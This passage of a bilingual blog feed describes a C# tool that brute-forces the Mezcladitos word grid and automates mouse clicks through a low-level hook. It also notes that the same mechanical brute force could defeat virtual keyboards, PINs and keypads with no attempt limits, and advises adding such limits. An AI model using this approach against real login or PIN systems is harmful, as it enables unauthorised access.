class="p">,</span> <span class="kt">int</span> <span class="n">y</span><span class="p">,</span> <span class="n">List</span><span class="o">&lt;</span><span class="n">string</span><span class="o">&gt;</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">String</span> <span class="n">palabra</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">ruta</span><span class="p">.</span><span class="n">LastIndexOf</span><span class="p">(</span><span class="n">x</span><span class="p">.</span><span class="n">ToString</span><span class="p">()</span> <span class="o">+</span> <span class="n">y</span><span class="p">.</span><span class="n">ToString</span><span class="p">())</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="n">ady</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> </pre></div> <div class="line-block"> <div class="line"><br/></div> </div> <p>Una vez tenemos todos los resultados, hacemos un hook a bajo nivel del ratón con SetWindowsHookEx, de ese modo puedo moverlo y hacer clicks automatizados para cada palabra.</p> <p>Como se puede ver en el video, antes de iniciar se hace una calibración haciendo click sobre las dos primeras casillas y el "Enter", para conocer las coordenadas de todas las casillas del tablero.</p> <div class="line-block"> <div class="line"><br/></div> </div> <div class="highlight"><pre><span class="k">public</span> <span class="k">static</span> <span class="n">IntPtr</span> <span class="nf">mouseHookCallback</span><span class="p">(</span><span class="kt">int</span> <span class="n">nCode</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">wParam</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lParam</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">nCode</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">InputHooks</span><span class="p">.</span><span class="n">MouseMessages</span><span class="p">.</span><span class="n">WM_LBUTTONDOWN</span> <span class="o">==</span> <span class="p">(</span><span class="n">InputHooks</span><span class="p">.</span><span class="n">MouseMessages</span><span class="p">)</span><span class="n">wParam</span> <span class="o">&amp;&amp;</span> <span class="n">Globales</span><span class="p">.</span><span class="n">ctrlDOWN</span> <span class="o">==</span> <span class="nb">true</span><span class="p">)</span> <span class="p">{</span> <span class="n">InputHooks</span><span class="p">.</span><span class="n">MSLLHOOKSTRUCT</span> <span class="n">hookStruct</span> <span class="o">=</span> <span class="p">(</span><span class="n">InputHooks</span><span class="p">.</span><span class="n">MSLLHOOKSTRUCT</span><span class="p">)</span><span class="n">Marshal</span><span class="p">.</span><span class="n">PtrToStructure</span><span class="p">(</span><span class="n">lParam</span><span class="p">,</span> <span class="n">typeof</span><span class="p">(</span><span class="n">InputHooks</span><span class="p">.</span><span class="n">MSLLHOOKSTRUCT</span><span class="p">));</span> <span class="k">if</span> <span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">siguiente</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">Globales</span><span class="p">.</span><span class="n">coordCasilla1</span> <span class="o">=</span> <span class="n">hookStruct</span><span class="p">.</span><span class="n">pt</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">siguiente</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="n">Globales</span><span class="p">.</span><span class="n">coordCasilla2</span> <span class="o">=</span> <span class="n">hookStruct</span><span class="p">.</span><span class="n">pt</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">siguiente</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span> <span class="n">Globales</span><span class="p">.</span><span class="n">coordBtnIntroducir</span> <span class="o">=</span> <span class="n">hookStruct</span><span class="p">.</span><span class="n">pt</span><span class="p">;</span> <span class="n">Globales</span><span class="p">.</span><span class="n">startPWN</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span> <span class="p">}</span> <span class="n">Globales</span><span class="p">.</span><span class="n">siguiente</span><span class="o">++</span><span class="p">;</span> <span class="p">}</span> <span class="k">return</span> <span class="n">InputHooks</span><span class="p">.</span><span class="n">CallNextHookEx</span><span class="p">(</span><span class="n">mouseHookID</span><span class="p">,</span> <span class="n">nCode</span><span class="p">,</span> <span class="n">wParam</span><span class="p">,</span> <span class="n">lParam</span><span class="p">);</span> <span class="p">}</span> </pre></div> <div class="highlight"><pre><span class="k">while</span> <span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">palabrasEncontradas</span><span class="p">.</span><span class="n">Count</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">palabra</span> <span class="o">=</span> <span class="n">Globales</span><span class="p">.</span><span class="n">palabrasEncontradas</span><span class="p">.</span><span class="n">Pop</span><span class="p">();</span> <span class="n">ruta</span> <span class="o">=</span> <span class="n">Globales</span><span class="p">.</span><span class="n">rutasEncontradas</span><span class="p">.</span><span class="n">Pop</span><span class="p">();</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">ruta</span><span class="p">.</span><span class="n">Count</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">InputHooks</span><span class="p">.</span><span class="n">ClickLeftMouseButton</span><span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">coordCasilla1</span><span class="p">.</span><span class="n">X</span> <span class="o">+</span> <span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">calibrado</span> <span class="o">*</span> <span class="n">Convert</span><span class="p">.</span><span class="n">ToInt32</span><span class="p">(</span><span class="n">ruta</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">1</span><span class="p">].</span><span class="n">ToString</span><span class="p">())),</span> <span class="n">Globales</span><span class="p">.</span><span class="n">coordCasilla1</span><span class="p">.</span><span class="n">Y</span> <span class="o">+</span> <span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">calibrado</span> <span class="o">*</span> <span class="n">Convert</span><span class="p">.</span><span class="n">ToInt32</span><span class="p">(</span><span class="n">ruta</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">0</span><span class="p">].</span><span class="n">ToString</span><span class="p">())));</span> <span class="n">System</span><span class="p">.</span><span class="n">Threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">.</span><span class="n">Sleep</span><span class="p">(</span><span class="mi">50</span><span class="p">);</span> <span class="p">}</span> <span class="n">System</span><span class="p">.</span><span class="n">Threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">.</span><span class="n">Sleep</span><span class="p">(</span><span class="mi">50</span><span class="p">);</span> <span class="n">InputHooks</span><span class="p">.</span><span class="n">ClickLeftMouseButton</span><span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">coordBtnIntroducir</span><span class="p">.</span><span class="n">X</span><span class="p">,</span> <span class="n">Globales</span><span class="p">.</span><span class="n">coordBtnIntroducir</span><span class="p">.</span><span class="n">Y</span><span class="p">);</span> <span class="n">System</span><span class="p">.</span><span class="n">Threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">.</span><span class="n">Sleep</span><span class="p">(</span><span class="mi">50</span><span class="p">);</span> <span class="p">}</span> </pre></div> <div class="line-block"> <div class="line"><br/></div> </div> <p>Hemos hecho fuerza bruta para ganar a un juego, pero podría utilizarse para cosas más serias como ganar acceso no autorizado tanto a sitios web como a lugares físicos, si no utilizan medidas extra de seguridad.</p> <p>En este caso estamos utilizando el ratón como método de entrada automatizado. Algunos sitios web emplean teclados virtuales para hacer login (incluso algunos bancos) utilizando el ratón. A veces incluso cambian aleatoriamente el orden de las letras o números (nada que no se pueda saltar con un algoritmo <a class="reference external" href="http://es.wikipedia.org/wiki/Reconocimiento_%C3%B3ptico_de_caracteres">OCR</a>). Con ese método muchas veces creen equivocadamente que añaden una capa de seguridad, pero si no limitan el número de intentos se puede hacer fuerza bruta fácilmente (y si te están pidiendo un PIN de 4 números, no tardaría más que unos minutos).</p> <p>Sin embargo como comentaba antes, disponiendo de un arduino y unos cuantos motores, <strong>podemos hacer fuerza bruta sobre prácticamente cualquier cosa de forma muy sencilla y barata</strong> siempre y cuando no nos limíte en número de intentos, lo que nos hace preguntarnos cuán seguros son los dispositivos que utilizamos habitualmente, y como muchas veces obvian ciertas medidas de seguridad al pensar que obligando a alguien a introducir datos manualmente no probarán todas las combinaciones. O cuantas veces quitamos nosotros mismos ese número de intentos "por miedo a bloquear nuestro dispositivo nosotros mismos".</p> <p>En plena era digital, existe mucha gente (especialmente gente mayor, o con pocos conocimientos informáticos) que piensa que lo analógico es más seguro que lo digital, sobretodo cuando cada vez hay más noticias en la prensa generalista sobre incidentes de hacking; así que aquí van unos cuantos <strong>ejemplos para romper esa leyenda urbana</strong> (Nota: Algunos de estos ejemplos se bloquean despues de un número de intentos, pero los pongo para hacer un muestrario del tipo de cosas que se pueden atacar físicamente):</p> <div class="line-block"> <div class="line"><br/></div> </div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="01" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez01.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="02" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez02.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="03" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez03.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="04" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez04.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="05" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez05.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="06" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez06.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="07" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez07.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="08" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez08.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="09" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez09.jpg"/></div> <div class="line-block"> <div class="line"><br/></div> </div> <div align="center" class="youtube embed-responsive embed-responsive-16by9 drop-shadow curved curved-vt-2"><iframe allowfullscreen="" height="394" src="https://www.youtube-nocookie.com/embed/m_dvAI49Jn8?rel=0&amp;autohide=1&amp;controls=2&amp;modestbranding=1&amp;showinfo=0" width="700"></iframe></div><div class="line-block"> <div class="line"><br/></div> </div> <p>Moraleja: Si estais implementando algun tipo de mecanismo para restringir accesos, nunca olvideis limitar el número de intentos (el cual en muchas ocasiones es visto como "innecesario" o engorroso), y procurad incluir algún elemento extra como un tarjeta, una llave,...</p> <p>Si disponeis de algún mecanismo de acceso que limite el número de intentos y os permita deshabilitarlo, nunca lo hagais por comodidad o miedo.</p> <p>Os dejo el código fuente del programa para los que querais echarle un vistazo (no incluyo los diccionarios). <a class="reference external" href="https://github.com/moebiuz/mezclaPWNr">https://github.com/moebiuz/mezclaPWNr</a></p> Mechanical brute force2013-02-14T10:32:00+01:00tag:antoniorodriguez.es,2013-02-14:en/mechanical-brute-force<p><em>This article was published on</em> <a class="reference external" href="http://www.securitybydefault.com/2013/02/fuerza-bruta-mecanica-ganando-al.html">Security By Default</a>.</p> <div class="line-block"> <div class="line"><br/></div> </div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Jhonny5" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/sc.jpg"/></div> <p>Last month, our friend <a class="reference external" href="http://www.twitter.com/lawwait">Lorenzo Martínez</a> showed us how to <a class="reference external" href="http://www.securitybydefault.com/2013/01/como-ganar-siempre-mezcladitos.html">always beat Mezcladitos</a> intercepting communications between the game and the server.</p> <div class="line-block"> <div class="line"><br/></div> </div> <div align="center" class="youtube embed-responsive embed-responsive-16by9 drop-shadow curved curved-vt-2"><iframe allowfullscreen="" height="394" src="https://www.youtube-nocookie.com/embed/O8fphNLxwAQ?rel=0&amp;autohide=1&amp;controls=2&amp;modestbranding=1&amp;showinfo=0" width="700"></iframe></div><div class="line-block"> <div class="line"><br/></div> </div> <p>Well, maybe is cheating, but at least we're not hacking the system ;)</p> <p>This is just a harmless demonstration of mechanical brute force. When we think about brute force, often comes to mind the "trial and error" software to encrypt random passwords and check if they are valid. However we can apply brute force mechanically to all kinds of things: virtual keyboards, physical keyboards, dials, etc</p> <p>In this demo I played Facebook version of <em>Mezcladitos</em>, but if I had had some handy servos and an arduino I would have been playing directly on the iPhone screen (with a simple mechanical "typer").</p> <p>The first thign to do was to create an algorithm that solves the grid, brute forcing all possible words using a dictionary containing all words existing words in Spanish language.</p> <p>Since we only have two minutes to play, we need to calculate the words in the shortest time possible, so in addition to optimizing the algorithm, I launched it as 16 threads (one per grid box) to take advantage of all CPU cores. This algorithm runs through all possible paths from a given box and check if the resulting word exists in the dictionary.</p> <div class="line-block"> <div class="line"><br/></div> </div> <div class="highlight"><pre><span class="k">using</span> <span class="n">MezcladitosPWNer</span><span class="p">;</span> <span class="k">using</span> <span class="n">System</span><span class="p">;</span> <span class="k">using</span> <span class="n">System</span><span class="p">.</span><span class="n">Collections</span><span class="p">.</span><span class="n">Generic</span><span class="p">;</span> <span class="k">using</span> <span class="n">System</span><span class="p">.</span><span class="n">Text</span><span class="p">.</span><span class="n">RegularExpressions</span><span class="p">;</span> <span class="k">using</span> <span class="n">System</span><span class="p">.</span><span class="n">Threading</span><span class="p">;</span> <span class="k">using</span> <span class="n">System</span><span class="p">.</span><span class="n">Linq</span><span class="p">;</span> <span class="k">namespace</span> <span class="n">MezcladitosPWNer</span> <span class="p">{</span> <span class="k">public</span> <span class="k">class</span> <span class="nc">FuerzaBruta</span> <span class="p">{</span> <span class="k">private</span> <span class="n">ManualResetEvent</span> <span class="n">_doneEvent</span><span class="p">;</span> <span class="k">private</span> <span class="n">string</span> <span class="n">_letra</span><span class="p">;</span> <span class="k">private</span> <span class="kt">int</span> <span class="n">_x</span><span class="p">;</span> <span class="k">private</span> <span class="kt">int</span> <span class="n">_y</span><span class="p">;</span> <span class="k">private</span> <span class="n">List</span><span class="o">&lt;</span><span class="n">string</span><span class="o">&gt;</span> <span class="n">_ruta</span><span class="p">;</span> <span class="k">private</span> <span class="n">string</span> <span class="n">_palabra</span><span class="p">;</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesA</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesB</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesC</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesD</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesE</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesF</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesG</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesH</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesI</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">}</span> <span class="p">};</span> <span class="k">public</span> <span class="nf">FuerzaBruta</span><span class="p">(</span><span class="kt">int</span> <span class="n">x</span><span class="p">,</span> <span class="kt">int</span> <span class="n">y</span><span class="p">,</span> <span class="n">List</span><span class="o">&lt;</span><span class="n">string</span><span class="o">&gt;</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">string</span> <span class="n">palabra</span><span class="p">,</span> <span class="n">ManualResetEvent</span> <span class="n">doneEvent</span><span class="p">)</span> <span class="p">{</span> <span class="n">_doneEvent</span> <span class="o">=</span> <span class="n">doneEvent</span><span class="p">;</span> <span class="n">_x</span> <span class="o">=</span> <span class="n">x</span><span class="p">;</span> <span class="n">_y</span> <span class="o">=</span> <span class="n">y</span><span class="p">;</span> <span class="n">_ruta</span> <span class="o">=</span> <span class="n">ruta</span><span class="p">;</span> <span class="n">_palabra</span> <span class="o">=</span> <span class="n">palabra</span><span class="p">;</span> <span class="p">}</span> <span class="k">public</span> <span class="kt">void</span> <span class="nf">ThreadPoolCallback</span><span class="p">(</span><span class="n">Object</span> <span class="n">threadContext</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">threadIndex</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">threadContext</span><span class="p">;</span> <span class="n">ady</span><span class="p">(</span><span class="n">_x</span><span class="p">,</span> <span class="n">_y</span><span class="p">,</span> <span class="n">_ruta</span><span class="p">,</span> <span class="n">_palabra</span><span class="p">);</span> <span class="n">_doneEvent</span><span class="p">.</span><span class="n">Set</span><span class="p">();</span> <span class="p">}</span> <span class="k">private</span> <span class="kt">void</span> <span class="nf">ady</span><span class="p">(</span><span class="kt">int</span> <span class="n">x</span><span class="p">,</span> <span class="kt">int</span> <span class="n">y</span><span class="p">,</span> <span class="n">List</span><span class="o">&lt;</span><span class="n">string</span><span class="o">&gt;</span> <span class="n">pRuta</span><span class="p">,</span> <span class="n">string</span> <span class="n">palabra</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">_doneEvent</span><span class="p">.</span><span class="n">WaitOne</span><span class="p">(</span><span class="mi">0</span><span class="p">))</span> <span class="p">{</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="n">List</span><span class="o">&lt;</span><span class="n">string</span><span class="o">&gt;</span> <span class="n">ruta</span><span class="p">;</span> <span class="n">ruta</span> <span class="o">=</span> <span class="k">new</span> <span class="n">List</span><span class="o">&lt;</span><span class="n">string</span><span class="o">&gt;</span><span class="p">(</span><span class="n">pRuta</span><span class="p">);</span> <span class="n">Regex</span> <span class="n">regPart</span><span class="p">;</span> <span class="kt">int</span> <span class="n">palMaxTam</span><span class="p">;</span> <span class="n">Match</span> <span class="n">m</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">ruta</span><span class="p">.</span><span class="n">Capacity</span> <span class="o">&gt;</span> <span class="n">Globales</span><span class="p">.</span><span class="n">maxLength</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="n">ruta</span><span class="p">.</span><span class="n">Add</span><span class="p">(</span><span class="n">x</span><span class="p">.</span><span class="n">ToString</span><span class="p">()</span> <span class="o">+</span> <span class="n">y</span><span class="p">.</span><span class="n">ToString</span><span class="p">());</span> <span class="n">palabra</span> <span class="o">+=</span> <span class="n">Globales</span><span class="p">.</span><span class="n">cas</span><span class="p">[</span><span class="n">x</span><span class="p">][</span><span class="n">y</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span><span class="n">palabra</span><span class="p">.</span><span class="n">Length</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="n">_letra</span> <span class="o">=</span> <span class="n">palabra</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">palabra</span><span class="p">.</span><span class="n">Length</span> <span class="o">&gt;=</span> <span class="n">Globales</span><span class="p">.</span><span class="n">minLength</span><span class="p">)</span> <span class="p">{</span> <span class="n">palMaxTam</span> <span class="o">=</span> <span class="n">Globales</span><span class="p">.</span><span class="n">maxLength</span> <span class="o">-</span> <span class="n">palabra</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">arrays</span><span class="p">[</span><span class="n">_letra</span><span class="p">].</span><span class="n">Contains</span><span class="p">(</span><span class="n">palabra</span><span class="p">))</span> <span class="p">{</span> <span class="n">Globales</span><span class="p">.</span><span class="n">frm</span><span class="p">.</span><span class="n">pwnWord</span><span class="p">(</span><span class="n">palabra</span><span class="p">,</span> <span class="k">new</span> <span class="n">List</span><span class="o">&lt;</span><span class="n">string</span><span class="o">&gt;</span><span class="p">(</span><span class="n">ruta</span><span class="p">));</span> <span class="n">Globales</span><span class="p">.</span><span class="n">frm</span><span class="p">.</span><span class="n">AsyncWriteLine</span><span class="p">(</span><span class="n">palabra</span> <span class="o">+</span> <span class="s">" "</span><span class="p">);</span> <span class="p">}</span> <span class="n">regPart</span> <span class="o">=</span> <span class="k">new</span> <span class="n">Regex</span><span class="p">(</span><span class="err">@</span><span class="s">"#("</span> <span class="o">+</span> <span class="n">palabra</span> <span class="o">+</span> <span class="s">"</span><span class="se">\\</span><span class="s">S{"</span> <span class="o">+</span> <span class="n">palMaxTam</span> <span class="o">+</span> <span class="s">"})#"</span><span class="p">);</span> <span class="n">m</span> <span class="o">=</span> <span class="n">regPart</span><span class="p">.</span><span class="n">Match</span><span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">cadenas</span><span class="p">[</span><span class="n">_letra</span><span class="p">]);</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">m</span><span class="p">.</span><span class="n">Success</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">y</span> <span class="o">&lt;</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">x</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">x</span> <span class="o">&lt;</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesA</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesA</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesA</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">y</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">x</span> <span class="o">&lt;</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesB</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesB</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesB</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span 